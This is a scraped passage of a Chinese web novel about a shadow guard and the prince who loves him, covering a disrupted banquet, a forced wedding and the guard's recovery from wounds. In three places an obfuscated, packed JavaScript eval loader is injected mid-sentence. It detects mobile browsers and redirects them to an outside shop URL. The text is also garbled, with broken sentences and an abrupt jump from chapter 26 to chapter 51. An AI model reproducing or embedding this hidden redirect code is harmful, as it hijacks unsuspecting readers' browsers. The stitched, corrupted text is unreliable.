只是他明显听得出与其他人的惊恐不同,这大理寺卿家的女娘尖叫声中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16291971|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却带了两分激动。 此刻她已经面色涨红,眼神又羞涩又愤怒。 “怎地让人都瞧见了——” 好好好。 不愧是她。 杨妃深深叹了一口气,恋恋不舍地看着地上的帕子,瞅着四皇子身侧已经聚集的侍卫,心里清楚这种情况下他隔着这么远再想动那帕子也是不能了。 他实在没了办法,只能硬扯着站桩一样待在原地目不转睛的女娘随着人群回避。 只是他的眼神忍不住往王爷身上落,在王爷尖叫着“他又看我了!”心声祈祷着他和王爷的默契能灵一回。 是是是,这回确实看他了,看他能不能注意一下他的眼神啊! 杨妃发誓自己这辈子就没有用过这么明显的暗示,那眼神都快在王爷、四皇子、帕子直间转抽筋了! 【今天真是好日子!杨妃竟然也学会对我抛媚眼儿了!】 “……” 他真的眼神抛给瞎子看…… 杨妃心如死灰,不死心地又暗示了一遍,他恨恨地看了一眼王爷,又看了一眼四皇子,然后目光挪到地上的帕子……上? ??? 那地上的帕子呢?怎么没有了? 他的关键道具呢? 啊? 杨妃这下子真的是惊呆了,这还是他从业以来计划被打破的最彻底的一回,和他的任务规划简直天差地别。 可还没等他想清楚,灵敏的耳朵就听到了越来越响的嗡嗡声,他抬头望去,一大片黑影黑压压的朝这边猛扑过来。 好么,是一大群马蜂! 这下好了,宴会上彻底鸡飞狗跳,尖叫嗡鸣之声不绝于耳,中间还夹杂着四皇子的惨叫,和他家王爷大喊护卫的兴奋声。 是了,熏香在京中本就是寻常事,皇子们用的熏香更是其中顶级的,四皇子也有日日熏香的习惯。 他家王爷必是在那香中做了手脚,浅云出自南苗,下毒是他的特长。 只是…… 王爷想必也没有料到中间有他误打误撞地让这妖怪抓破了四皇子的衣服,白花花的皮肉就这么眼见着要变得又红又肿了。 瞅这样子,怕是得有个十天半个月下不了床了。 杨妃悄悄地回头看了一眼,已经替四皇子感到痛了。 “殿下——” 他像是看好戏一般,可有人为四皇子肝肠寸断,杨妃听见了这声,整个人竟然被喊出声音的女娘带的一个踉跄。 啊? 她来真的? 陛下的脸面,她的九族,都不要了? 25.第 25 章 这是真的真爱了。 杨妃能感受到他原本抓在手中的衣袖以一种极快的速度被抽离,而那女娘抬脚就往那边冲。 他感动极了,这等深情让他都深受触动,不仅没有一点想阻拦的意思,甚至还想推上一把。 这可是比戏班子里的才子佳人还要真挚感人的爱情故事啊,方才还被马蜂吓得尖叫,这会儿瞧见自己情郎身陷险境,便能克服恐惧勇往直前,他怎么能做棒打鸳鸯的恶事! 这一刻杨妃是欢喜的,他真的觉得这就是天意。 老天爷估计都看不下去他这段时间屡屡受挫,开始怜惜他了。 计划的再好有什么用,莫名其妙的失败又能如何,关键道具丢了又有什么打紧,上天安排的才是最大的! 真情才是最棒的! 一个带着暧昧色彩的帕子那有美救英雄来的冲击大? 杨妃这一刻是真的湿润了眼眶,他看着你娘的目光就像是看着自带圣光、牺牲自己挽救他人的活菩萨。 他装作呆站在原地,目光追随着那女娘,看着他往那边跑了几步,在看到那熟悉的暗器之前心里都是美滋滋的。 该死! 四皇子的影卫可真沉得住气,除了围在他身边驱赶昆虫的,竟然还有人藏在暗处看着这女娘! 杨妃心下恨恨,但此时出手拦截那枚暗器也来不及了,只能眼睁睁的看着她被暗器打中脚踝,奔跑的势头一滞,一脚踩在了倒地的屏风上,结结实实地砸在地上不省人事了。 不中用啊!她不中用了! 哪怕杨妃再好的脾气这会儿也忍不住气血翻涌,耳边的窃窃私语更是让他眼前发黑。 “咱们这位圣上可真是点了一对好鸳鸯,郎有情妾有意,定会是一对佳话。” “可不,皇室中可是少有。” “这女娘敢以身犯险,可是好一番真情。这二殿下对着她挪不开眼,可见也是很满意的,想来之前退婚也是羞涩呢。” “……” 杨妃瞟了一眼什么都没听到,根本不知道自己被定义为“羞涩”的王爷,心里复杂极了。 他真是无话可说,阴差阳错四个字属下已经说倦了。 他还能怎么办?! 今日真是犯了太岁了。 杨妃无可奈何,惊慌地喊了一声小姐,人也紧跟着扑倒在她身边,眼睛当即就流下泪来,自是一番主仆深情,让暗中偷窥她的王爷心声好一阵醋意。 天啊—— 他算是知道为什么会晕倒了! 这土里到底埋了什么,比发酵了数日的尸体还要臭上百倍,熏的他眼睛火辣辣的,根本控制不住眼泪。 太、太上头了! “小、呕、小姐!” 杨妃险些没绷住,眼泪就像断线的珠子似的,人却迅速地站起来,揽着女娘的腰将她也一并拉起来,手也没忘记在她腿侧堆积的衣褶中摸了一把。 他瞥了一眼那颗带着尖刺的暗器小球,手似是触电一般地弹开,矫揉造作地嘶了一声,继而用惊恐的尖叫盖过了四皇子的哀嚎。 “有呕、刺客——” 杨妃喉头翻涌,一阵一阵的反胃压都要压不住,整个人都被熏得头脑昏沉,一边大喊一边连滚带爬地扯着女娘往边缘跑。 只是他们俩衣摆上沾着的泥土却让他难以摆脱刺鼻气味。 他不得不按住了自己的内关穴,这才能顺顺当当地有刺客的话继续喊下去。 虽然他知道这种情况下哪怕四皇子的影卫在大庭广众之下动手被查出来也不会阻碍到四皇子什么,但他就是很不爽,就是硬要给他添一件麻烦事。 计划接二连三被打断,他便是泥人也有三分火气呢! 就让四皇子好好想一想怎么和陛下解释他派影卫看着兄弟的王妃吧! 所有人都围着四皇子转悠,有刺客的呼喊让他们聚作一团,那些装扮成侍卫模样的影卫们警觉地看着四周。 守在园子外的护卫们这会儿也赶来了,随着沉重脚步一并靠近的还有不停的嗡嗡声。 !!! 杨妃迅速朝声源瞟了一眼,头皮发麻眼皮直跳。 这又是谁想出来的好点子? 打哪儿收集来的这么一大群绿豆蝇? 杨妃看了一眼乱糟糟人又越来越多的宴会场地,拖拽着女娘一点点偏离了热闹中心,藏到了不容易引人注意的角落才停下。 趁着没人,他伸手探了一下女娘的状况,不由的唏嘘。 心悸惊惧、情绪不稳、整个脚踝肿得像馒头,看情况还没严重到影响婚期。 “……” 杨妃眼神复杂,这女娘和他家王爷之间的红线是精铁打的吗? 怎么人力还扯不断了呢? 坚守岗位忙活了大半个月最终一无所获进展为零的杨妃心有点死了。 晦气! 他叹了口气,透过花枝缝隙去看闹成了个鬼样子的宴会,拍了拍胸脯正了一下有点挪位的胸,又擦了擦还在流的眼泪,那一颗心又活了过来。 看见四皇子那一副惨样,他又不觉得自己倒霉了。 好好的一个宴会现在快变成了昆虫园,蝴蝶马蜂苍蝇齐聚一堂,四皇子就是它们争相抢夺的肥肉,护卫们忙着用衣服拍用水泼去驱赶他身上的苍蝇和马蜂,四皇子整个人则在地上打着滚儿,连嘴都不敢张。 浅云真是个狠人。 杨妃那死掉的共情能力突然死灰复燃,他打了个寒颤,忍不住开始回想自己有没有得罪过他。 嘶—— 他睁大了眼睛,眼尖地看着四皇子想张嘴怒骂,可他才微微张嘴,就有灵活的苍蝇飞了进去。 伤害性不大,侮辱性极强,四皇子当即就吐了。 这可真是把一辈子的人一天丢完了。 瞧给他家王爷高兴的,眼中的笑意都藏不住了,生等着自己藏好了才兄友弟恭地声援。 “四弟——” “来人!” “还不赶快救本王的四弟,他若是有什么闪失,本王饶不了你们!” 还是他家王爷好啊,到什么时候都不能忘了自己的弟弟,若是陛下知道了王爷如此有爱,会很高兴的吧。 最后众人折腾了半天,直将四皇子泼的宛若溺水,才驱赶走了那些“不速之客”。 男客女客都被宫里派人来送走了,大理寺卿家的女娘回去之后便受惊发热,杨妃瞧着她一时半刻醒不来,便将他藏起来的秋荷找了出来,助力她多晕一会儿,将她摆在了女娘的床头,便回府上负荆请罪去了。 他觉得自己是真的惨,但一番白忙活也是事实,一个办事不力是跑不了了。 这还是头一回! 杨妃灰溜溜地回了府,王爷看见了他却没有一点儿不高兴的意思,反倒笑得极其开怀。 看来主子的心情不错,这是个好兆头。 杨妃不等王爷先开口,抢先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16298494|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请罪认错,“属下办事不力,请王爷责罚。” 王爷听到她这话愣了一下,竟还反应了一下才想起来那回事,不甚在意的挥了挥手,“且不说这个,今日可真是好一番热闹。” 王爷的眼睛发亮,白日里的兴奋这会儿是彻底压不住了,他看着杨妃,那些压抑着无人诉说的话在夜深人静之间全都冒了出来。 【这宫中尔虞我诈,兄弟之间勾心斗角,也唯有面对你,我能开怀的诉说一二了。】 王爷这般想着喝口茶润了下喉,语气里带着两分炫耀。 一个成功的计划他如果不倾诉一二只会把自己憋死,杨妃就是这样一个很好的倾听者。 他听得一愣一愣的。 真相和他推测的不大一样啊,他实在忍不住抬头瞟了一眼压制不住笑容的王爷,捧场地说,“王爷英明。” 其实他更想说的是“王爷与四皇子不愧是兄弟,自有一番默契”。 不愧是一个爹的种。 自家王爷借着有人在刺绣上下功夫特别准备了黄蜂和香料要整治一番四皇子。 四皇子也不遑多让,特地让人在屏风下的土地里埋上特制香料,准备了一大批绿豆蝇,打算同时解决掉负责宴会的娘娘给自己的母妃剪除对手,又折腾一番王爷,来一个一箭双雕。 只是自家王爷技高一筹,踩点的时候提前发现了土地的异样,反让四皇子自食其果。 连祸祸人都能想到一块儿去,杨妃除了说他们两个默契还能说什么? 王爷言简意赅的叙述了他在其中干的好事,意犹未尽地抓着杨妃的手将他从地上薅起来,强硬地将茶杯递到他的手上,开始详尽地诉说四皇子的惨状。 “那太医来之前护卫们便要抬着他屋里去,可不成想四弟疼得厉害,在担架上都忍不住打滚。” “那护卫也是个不得力的,过桥时脚下一滑,本王的四弟便直接滚下桥去,要是好一番惊呼救命,这才七手八脚的将他拽上来。” 王爷的笑止都止不住,杨妃坐在王爷身边那叫一个如坐针毡,手里捧着的茶杯也如同火炭,说什么也不肯放在嘴边。 也就是现在王爷实在得意没有注意他的现况,不然…… 杨妃垂眸看着杯中茶叶起伏,找准了王爷进京的间隙,赶紧汇报今日所见所闻好让他家王爷注意不着这茬。 虽说今日原定的计划没成功,但四皇子还是给他提供了不少情报。 感谢他。 杨妃着急脱身,讲的言简意赅。 渣男的话有很多,提炼下来也无非就是几点,一是四皇子意图将女娘安插到王爷身边做卧底,令她传递情报信息,二是疑似有诱惑女娘暗中见面,混淆王爷血脉的意图。 三是…… 杨妃顿了顿,将那女娘没有放弃的替嫁打算也讲了出来。 最后他说到女娘高热,询问王爷是否要借机了断了她。 也莫说他心狠,实在是这种一旦进了王府就不能随意打杀的卧底掐死在萌芽中最为稳妥,正巧她高热,此时动手能天衣无缝。 可他家王爷今天心情着实不错,听了一番发绿的话之后竟然还笑得出来,他拍了拍杨妃的手背,“无妨。” “便是她怀揣着这样的心思嫁过来,她明我暗,或也可为我所用。” “且先不用管她。” “至于替嫁……她竟还没忘了这茬?” “说的倒是轻巧,她做得到吗?” 26.第 26 章 她? 杨妃不是瞧不起她,而是她的计划连一点成功的余地都没有。 “绝无此种可能。” 他回复王爷回复的斩钉截铁,就算不是王妃出嫁,出嫁当天也有的是仆人为新娘梳洗装扮,更有姑嫂妯娌围在一堆说着婚前的吉利话,若是没有人和那女娘配合,青天白日里换了个新娘大家又不是瞎子,谁能看不出来? 退一万步讲就算所有人都眼瞎,那她想替嫁总得搞定替嫁的人吧? 她又不善武力,拿什么让她的妹妹乖乖听话? 想在路上将人换了那就更不可能了,那嫁妆的队伍光是抬嫁妆的人数就得有三位数,中间又有不能落轿的习俗,她要是想换人那得会法术才行。 杨妃就是想破头也想不出她有哪一点能让自己的计划成功。 若说她能说动四皇子帮助她这事还有戏,但她的情郎可迫不及待的希望她赶紧嫁过来,怎么可能帮他? 王爷叹了口气,显然也想到了这些,他很是遗憾,“真可惜了,不然还能在婚礼上揭穿了她看笑话呢。” “……” 杨妃眉心一跳,他家王爷怕不是今天兴奋过头神志不清了,在自己的婚礼上看自己的笑话吗? 他心里腹诽但没说话,端着那杯茶像是端着圣旨,他可不敢喝这茶。 趁着主子的注意力还不在这上面,杨妃很自然的轻轻将茶杯搁在桌上,从椅子上滑下去单膝跪在他身前。 “主子,那女娘的事还请主子示下。” “替嫁的事情……”王爷觉得自己今日话多的口干舌燥,拿起了杨妃放下的茶杯一饮而尽,“若是我们出手帮她一把,可行?” 【该死的,刚才讲的太投入了,这茶他喝了没有?】 【可恶啊,我也尝不出来他的味道啊。】 他就知道王爷贼心不死! 杨妃低下头去,深呼一口气才道,“可行性极低,若是我们出手,知情人士也太多,陛下若是想查起来,一问便知了。” “啧。” 王爷轻啧了一声,像是遗憾不能看乐子,目光却始终没离开茶杯,细细地又抿了一口。 “你说那方鸳鸯帕子无缘无故的没了?” “是,属下无能,并没有看见是谁取走的。” 他那会儿给王爷使眼色使到眼抽筋,可王爷却只顾着看他,还在心里觉得他在翻媚眼儿美滋滋的,估计也没有注意到身边的谁把帕子拿走了。 但他能说什么? 说他家王爷不务正业吗? 只能含泪将这个锅接下了,毕竟也确实是他失察的缘故。 王爷陷入沉思,也没注意到当时身边的异常,他摩挲着茶杯边缘,小口小口的抿着细细品味。 “你不必再去大理寺卿府看着那女娘了。”王爷的声音低沉,语气带着两分不快。 “咱们的陛下应当是真的察觉了她与四弟之间的关系,今日取走的帕子的应当是他的人。” 如此一来就也说得通了,那之前的鸿雁就是一个警告,今日他想要这段关系公之于众,他那个爹却是万万不肯的。 杨妃愣了一下,又想起了一件事,声音也有些发紧,“打在那女娘身上的暗器小巧精致,很有分量,应当也是精铁锻造。” “可不么。”王爷冷笑了一声,“他生怕有什么东西能威胁到他,看的自然紧。” “可见他也知道自己不是个东西,但凡有人有能力把他推下来都是一定要做的。” 王爷越想越气,怒气冲冲地说,“他倒是恨不得直接按头这婚事了!” “本王看替嫁实在是个好点子,不若就让他替本王做新郎,四弟替本王做新娘,叫他们两个成亲拜堂好了!” “反正这偌大的京都,没有人比他们两个更想成就这桩婚事!” “想要就自己上啊!” 【正好让他们两个办完了他们期待的婚礼,本王和杨妃私奔,双宿双飞!】 【所有人都皆大欢喜!】 【本王可得想一想库房里有什么好东西能给他们俩的婚礼添光增彩。】 【就那个白玉开过光的送子观音如何?】 【叫他们两个狠狠延绵子嗣!】 【生一窝,生一群,不停地生!】 啊? 王爷疯了!他现在应不应该叫太医? 他可不想和王爷一起私奔! 杨妃双眼逐渐放空,他抬头看了一眼脸色涨红的王爷,心说他家王爷实在是气得很了,都口不择言了。 想帮四皇子替嫁做新娘他们这些人倾尽全力或可一试,但要说绑陛下做新郎…… 便是再给他们一百个胆子也实在做不到啊。 他要是能做到,就直接宰了他让王爷登基自己退休了! 杨妃着实忍不住小声反驳,“皇宫有禁军,守卫森严,属下等做不到啊……” 王爷!你想让我们送死直说! “本王真是气昏了头了……” 王爷心累的拄着脑门儿,深呼吸好几下才平稳了心情,很是疲惫的挥挥手。 “是本王一时气急了,你们不必去绑人。” 他生怕这木头脑子的影卫将他的气话当了真,又想到了已经确定父皇得知此事,知道老登必定会保证这场婚礼顺利进行,思来想去也不得解法,只能硬着头皮接下这门婚事,也犯不上让亲亲影卫去冒这个风险继续捣乱。 那老登杀起人来可从来不犹豫,他不心疼人,本王还心疼人呢。 【罢了罢了,事已至此,就这样吧。】 【嫁过来就嫁过来吧,她不爱本王也好,也省得本王费心去敷衍她。】 【她来了,本王不去她那就是了。】 【老登管的再多,还能管到我床上去?管到本王的根?】 【就算他给本王下药绑着本王同房,本王宁可自宫也绝不能从了他的意!】 杨妃听着越来越不着四六的心声,连忙将头低得更低了,他怕自己一时控制不住表情笑了出来。 他家王爷说话怎么越来越接地气了? 虽说话糙理不糙,但这也太糙了。 王爷一想到即将到来的婚礼就心烦意乱,他怕自己冲杨妃发脾气,便挥了挥手示意他下去。 “近日你办差辛苦,就在府上好好休息吧,不必当差了。” !!! 杨妃眼睛一亮,心中的喜悦压都压不住,响亮地应了一声是,人眨眼之间就消失在了王爷的视野之中。 瞧瞧他今天得到了什么,是假期!是假期啊! 他喜欢这个,请王爷多给狠狠地给! 他一个影卫今天也是有假期的人了! 杨妃激动得热泪盈眶,无视了周围隐藏在暗处同僚们的艳羡目光,整个人飞速的回了自己的房间,烧了水痛痛快快的洗了一回,然后扑通一声栽到床上,把被子一盖,就去梦会周公了。 是个人都喜欢假期,盛产劳模的影卫也不能免俗。 反正杨妃最近是挺开心的,他不光开心,还想让别人和他一起开心。 虽说他被王爷放了假,但也不能轻易离开府上,离开府上他也没什么去处,在府中又少有乐子,所以他的同僚们近期就不太开心了。 不是他们嫉妒,是杨妃这家伙实在可恨。 这假期里他除了平常的锻炼维持水平,每天做的最多的事情就是在王府里寻找藏起来永远的身影,然后明知道他们不能现身,故意在他们身边晃悠招恨。 要不是这家伙还知道天天去外面买些新鲜吃食和大家分享,都不知道他一天得和别人打起来几回。 怕不是得挨群殴。 这样悠闲惬意的生活让杨妃更加坚信的推着王爷上位好退休的理想,他发誓自己一定会让王爷正确恋爱观的! 悠闲的日子过得飞快,王爷府上也挂起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16300532|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红绸,礼部官员上门也频繁了,连带着婚礼需要用的礼服礼器也全都就位了。 这场婚礼无论中间王爷挣扎了多少回,最后还是不得不从了。 杨妃心情复杂地看着王爷面无表情的试婚服,不由得叹气。 王爷啊,你看到不当皇帝的坏处了吗? 但凡你现在已经升级成皇帝了,还有谁能强迫你? 所以,你要乖乖的干正事,好翻身做皇帝好吗? 婚礼当天可谓声势浩大,这天的杨妃也换上了影卫的行头,早早地就去了大理寺卿府上,奉王爷的命令去看那女娘会不会搞出什么乐子来。 王爷对这场婚礼百般抗拒,王妃也不是个乐意的,他就算明知这场婚礼必定会顺利举行,也不耽误他知道婚礼上出热闹暗爽。 杨妃能怎么办,当然是满足他家王爷这点小爱好。 不过王爷注定要失望了,陛下怎么能想不到这一点呢? 杨妃神色复杂,这王妃眼神空洞像是个木偶似的任人摆弄,一看就是被下了药了,想必就是陛下的手笔。 一场婚礼,两个傀儡,就算再声势浩大,在多少人羡慕又能怎样? 新娘已抬到府里,新郎强笑着和众人饮酒,直到夜半时分众人都散尽了,王爷才一减醉态,回了自己的书房,喝了醒酒汤将杨妃叫了过来。 “今夜王府里可有旁人?” 王爷未点烛火,月光透过窗就朦胧的照在他的脸上,这阴影衬着他的表情更加阴沉。 杨妃当然知道他在问什么,今夜所有人都严加值守,就是生怕有些他们不能赶的人来了可他们却不知道,“陛下身边的玄一来了,此刻正在婚房的不远处躲着。” “属下等眼睁睁的看他去的,不敢阻拦。” “……” “难道他还想看本王如何与人同房不成?” “他要不要记一下本王叫了几次水啊?” 杨妃沉默着不敢说话,他觉得现在情况有点怪怪的。 这场婚礼…… 怎么好像两个主角都是逼良为娼似的? 一定是他想多了。 杨妃只管沉默,他觉得自己可真不是个东西,明知道王妃也不喜欢王爷,竟还希望王爷能和她成一番好事,好将他忘了。 这会儿他什么话都说不出来,感觉自己当影卫真是当久了,良心是一点不剩,心里也有点堵得慌。 他家王爷更是要抑郁了。 【都说洞房花烛夜乃是人生喜事,可是另一半不是自己想要的人如何能欢喜?】 【今日我们两个近在咫尺,却一句多余的话都说不得。】 【若今日是他易容成王妃与我拜堂,那才是人间极乐。】 【可那件华美精致的喜服没穿在他的身上!】 【是本王无用。】 【为什么和本王洞房的不是你?】 【洞房花烛、良宵美景。】 【怎能与他人共度?】 王爷想到这里,倒像是真的有些醉了,身影晃了晃情不自禁地俯身,拄着杨妃的肩膀,手更加用力。 “靠近些……” 杨妃咽了口唾沫,装着没听见不为所动,王爷也没在意,强硬地伸手勾过他的下巴,眸色深沉。 【想咬一口。】 【若再添些红妆,那才是真的……】 杨妃脑子一片空白,眼睁睁地看着王爷一身大红色的喜服都没能比得上脸红,又瞧着王爷喉结滚动,更觉得毛骨悚然。 王爷今天受刺激大发了! 这幅样子,难道看到他要把持不住了? 不中啊! 死脑子快想办法! 【怎么就不是你呢……】 【好想抛弃这些烦恼事,不管那劳什子的皇帝,不管那盯着人的影卫,今晚与你共度良宵。】 【那才是人间乐事。】 “今晚本王……” 50-60 第51章 王爷的杀心毫不遮掩,他独自在书房站了许久,一直站到浑身发冷,沾到拳头上的血迹已干,才期待又忐忑地迈开步子回到了自己房间。 有他陪葬之言在前,这些医师哪敢回去休息,这会儿一个个靠在一起坐在一处,眼神不聚焦地望着床上毫无知觉的杨妃,彼此时不时小声交流两声。 王爷到时,屋子里满是腥苦的药香,药童正拿着竹片撬开杨妃的嘴一勺一勺的往他嘴里喂药。 而杨妃本人此刻不着寸缕,唯有床边半透的轻纱帷幔将他与众人隔开。 这实是无奈之举。 他身上的锐气伤无数,浅的小的不提,单单是肩膀上暗器嵌进去的贯穿伤和腿上丝线割出来的深痕,就已经让这些医师们将备用的上等外伤药都用光了,此刻更不敢让什么东西将药膏擦了去。 他们生怕一个处理不当这人就算救回了一条命,也变成了残疾。 王爷声嘶力竭让他们陪葬的声音犹在耳侧,和平日里宽和温润的样子大不一样,他们也受到了惊吓。 王爷掀开帷幔,脚步轻轻的,连衣摆都不曾飘动,他忘不了杨妃冰冷的手,害怕自己带起的一点凉风是压倒他性命的最后一根稻草。 他看着杨妃那浑身上下新的旧的交错在一起的伤疤恨不得那伤在自己身上,悔恨一次又一次地袭上他心头。 他是主子,就该态度强硬些的。 他那时就不应该让他离开他身侧! 他差点就失去他了! 王爷看着那些纱布下隐隐泛起一点红色的伤,颤抖着手很想摸一摸又怕弄疼了他,手抬在半空又放下。 最终呆坐在床边,看着药童战战兢兢地抖着手喂药。 真是放肆! 怎么连个能好好喂药的药童都没有? 这些医师是干什么吃的? 王爷转头目光透过帷幔怒瞪着那些坐在一侧的医师,很想开口呵斥他们,话到喉头又被他咽了下去。 杨妃最需要静养,他不能大声吵闹。 王爷又盯了药童看了半晌,实在忍不住夺过了他手里的药碗,小心地一点一点将剩下的半碗喂完了,拿出帕子轻轻擦过杨妃的嘴角。 若是平常,他这会儿一定诚惶诚恐地跪下了。 而不是像现在这样,任他人为所欲为却没有一点反应。 若是平常时候,瞧见了这样赤身裸体又乖乖听话的杨妃王爷肯定欣喜若狂。 但此时此刻,他没有一丝杂念,唯有期盼他平安健康的心无比虔诚。 硬要说的话。 还有期盼他那些血脉至亲早日升天的心也无比坚定。 只可惜杨妃现在一点意识都没有,不然他听了王爷如此奋进的心声肯定高兴极了。 他不知道他这一回受伤在王爷的心里掀起了多大的惊涛骇浪,更不知道一次意外竟然让王爷燃起了奋进的火苗。 身为重伤人士的他连梦都没做一个,眼睛一闭晕的昏天暗地,再睁眼的时候都已经是两天后了。 杨妃觉得浑身上下僵硬极了,脑子还昏昏沉沉的不太清醒,四肢麻木的像是根本没那部分。 这感觉令他稍微清醒了一点。 纯吓得。 他太清楚残疾对一个影卫来说代表什么了,也不能接受自己就那样成了一个废物。 他还有人生目标没有实现呢! 杨妃竭力勾了勾手指,耳边好似听到了关节运转的干涩声响,心中稍稍松了一口气。 还好还好。 应该只是躺太久了身体僵住了,零件还是齐全的。 老天终究是待他不薄。 杨妃闭着眼缓了许久,才觉得浑身的血液又重新流淌,身体也稍微有了点力气,眼珠转了许久才艰难地睁开了眼睛。 他一睁眼,先看见的就是精致雕琢的床,稍一侧头就正对上王爷那双熟悉又陌生的眼睛。 熟悉在于王爷的样貌。 陌生在于王爷的状态。 杨妃又一次受到了惊吓。 他跟在王爷身边这么多年哪曾见过王爷如此狼狈憔悴? 他的视线还有些朦胧,用力眨了眨干涩的眼睛,仔细瞧着大变模样的王爷。 他都快认不出来这人到底是不是王爷了。 他们两个到底谁是重伤昏迷不醒啊? 王爷的眼睛怎么红成那个样子? 难不成他躺在床上,竟然都没人伺候王爷日常梳洗了吗? 瞧王爷头发凌乱的,再瞧瞧他那长出来的胡子,眼睛底下的黑眼圈和重重的血丝。 杨妃瞧见了都觉得心疼。 好的身体才是谋朝篡位的本钱啊! 这可是他一口茶水一口甜点喂出来的王爷! 他好不容易给王爷攒了个身体健康的好家底,还等着王爷做长寿之君呢! 他可不想自己斗志满满磨刀霍霍向皇位的时候,自家主子因为身体状况不佳卧病在床,因为这种原因功亏一篑啊! 杨妃一下就急了,他腰腹用力,整个人便要滚下床去。 可不能任由王爷再这个样子下去! 而且…… 他还记得自己在什么样危险的地界呢! 这可是王爷的床! 他不能上王爷的床! 昏迷时毫无反抗能力也就罢了,清醒时可万万不能的! 杨妃的心里有无数句话想说,他只想赶紧规劝王爷。 哪怕那不是他一个影卫该做的工作。 但他忘了自己现在虚弱的状态,也忽略了王爷对他的关注度。 早在他指尖颤动着试图蜷缩的时候王爷就注意到了他的小动作,他一双眼睛就那么紧紧盯在杨妃的手上,期盼的心压过了煎熬的疲惫,眼角的湿意浸润了干涩的眼球。 他僵硬着一动不敢动,生怕自己一动,那点动静就消失了。 他就这么等着等着,终于等到了杨妃睁开眼睛。 他一时欣喜极了,有太多开心的话想和杨妃说,偏正是因为太多了才都堵在喉咙里没说出来。 结果就耽搁了这么一小会儿,王爷就眼睁睁地看着杨妃用比老太爷还慢的动作侧翻身,看上去很想翻一下床的样子。 王爷目眦欲裂,想也不想地单手按在杨妃没受伤的胳膊上,稍一用力就将他推倒在床上,顺手将他挣脱的被子盖了上去,这才缓过神来。 【啊啊啊啊——】 巨大的尖叫声冲的杨妃耳朵嗡嗡作响,本就不大灵光的脑子更是被迎头痛击,眼睛一闭彻底失了力气躺在枕头上,本来就僵硬不灵活的身体更失去了控制。 闭着眼的杨妃不可置信的瞳孔震颤。 刚才发生了什么—— 他他他…… 他是直接被王爷推倒了吗? 他竟然如此容易推倒的么? 杨妃内心的尖叫比起王爷来也差不了多少,他们俩现在唯一的区别就是王爷能将抱怨的话说给杨妃听,而杨妃却不能质问王爷。 “你动什么动?本王命令你就躺在这里躺到痊愈为止。” “否则你但凡有什么意外,本王就要所有的医师给你陪葬!” 王爷一股脑地将他心中压着的哀怨的话全都说了出来,话落之后犹觉不够,思索了一下又补充一句。 “还有那些个没陪你一起前去的影卫,本王就让他们永远的陪着你!” 嗯? 杨妃被王爷左一句陪葬又一句陪葬给惊到了,他睁开眼看着王爷,本能地想要服从命令,嘴张了半天却只吐出了一个字,人有些茫然。 “呃。” 他复杂的心情难以言表。 最初听到王爷说陪葬的时候他是很惊诧的,甚至有些惊恐。 杨妃的第一反应就是这话若让旁人听了去会怎么看待他和王爷。 但紧接着,他还x没来得及思考怎么和同僚们扯谎搪塞,就意识到了另一个问题。 那可是陪葬哎—— 早几百年前陪葬的事情就已经被全面禁止,王爷若想让这些人给他陪葬,那就必定得有改变规则的权利。 普天之下谁能有这个本事呢? 那只能是陛下啊! 这一刻杨妃心中升起一股纯粹的激动和一丝丝的无语。 想他这么多年来兢兢业业的辅佐王爷夺嫡,还要担心在这条道路上因为他的美貌而是王爷不务正业。 却不曾想一场失败的任务经历反倒让王爷大彻大悟明白权力的重要性了。 这怎么能让他心情不复杂? 刚刚苏醒一点都没有脱离虚弱境况的杨妃脆弱的小身板一时间经受不住心情如此激荡起伏,他又感觉一阵阵晕眩,眼神也有些呆滞,连想要爬下床的大事都忘了。 这又是一种不曾在王爷面前展露的姿态。 王爷看着杨妃,眼神中是失而复得的惊喜,此刻瞧着他那呆滞却鲜活的表情,更是有用不完的温柔和耐心。 他轻轻给杨妃掖了掖被角,确保他没有一丝皮肤裸露在空气中,又塞进去了两个汤婆子,生怕阴雨连绵不断的天气把湿气渗进去,让他又多遭一份生病的罪。 “别折腾了,医师说毒药侵蚀了肺腑,用了药后虽有缓解,可一日两日却是不能开口的。” 王爷和杨妃那种受惊瞪圆了的眼睛对视,一瞧他那嘴型就知道他这个早就习惯了各种条条框框规矩的影卫想说那些不合规矩一类的话。 他没好气地打断了,想了想又补充了一句。 “将你这条命从鬼门关拉回来那可是用医师们的半条命换的,更别提本王使了多少珍贵的药材。” “你可得好好养着,别让本王做亏本买卖。” 杨妃口不能言,完全没有办法反对主子的决定,只能睁着眼睛看着房梁,无比煎熬地躺着,身体再疲惫也没有一丁点睡意,只能听着王爷在他不远处翻看公文。 他昏了这么多天,也不知道之前分配下去的任务都做的怎么样。 